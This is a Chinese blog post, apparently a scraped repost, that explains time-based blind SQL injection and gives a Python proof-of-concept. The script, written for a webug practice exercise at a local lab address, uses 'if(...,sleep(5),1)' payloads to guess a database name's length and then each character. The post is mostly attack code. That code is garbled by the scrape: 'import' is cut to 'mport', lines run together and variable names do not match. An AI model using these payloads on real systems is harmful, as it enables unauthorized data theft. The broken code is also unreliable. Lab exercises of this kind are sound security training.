時間盲註poc編寫
阿新 • • 發佈:2018-04-30
sub 每一個 就是 .get response main return 一個 判斷
當測試註入漏洞時,頁面沒有返還結果,連報錯都沒有時,可以考慮延時。
比如這條語句 ?type=1 and if(length(database())=%d,sleep(5),1)
如果這條語句被服務器正確執行,那麽服務器返回數據強要比平時慢5秒,通過比較時間來判斷正確還是錯誤。
這就給我們編程提供了思路,如果要猜測一個字段可以先猜測其長度,在一個猜每一個字符
這次依舊是webug的一道練習題
mport requests import time payloads = ‘qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM0123456789@_.}{,‘ print( ‘start get length...‘)
def long(): for l in range(1,21): startTime1=time.time() url1 = "http://192.168.148.129/pentest/test/time/?type=1 and if(length(database())=%d,sleep(5),1)"%(l) response1 = requests.get(url1) if time.time() - startTime1 > 5: length=lprint ("the length is " + str(length)) break
return length def inject(): print( ‘start database sql injection...‘) for d in range(1,length+1): for payload in payloads: startTime2=time.time() url2 = "http://192.168.148.129/pentest/test/time/?type=1 and if(substr(database(),‘%d‘,1)=‘%s‘,sleep(5),1)"%(d,payload) response2 = requests.get(url2) # if time.time() - startTime2 > 5: database+=payload print(database) break
return database
if __name__ == ‘__main__‘:
length=long()
dabase=inject()
print("the database is " + database)
思路就是先猜字段長度,在與payload裏的每個字符進行比較得到最終結果。
時間盲註poc編寫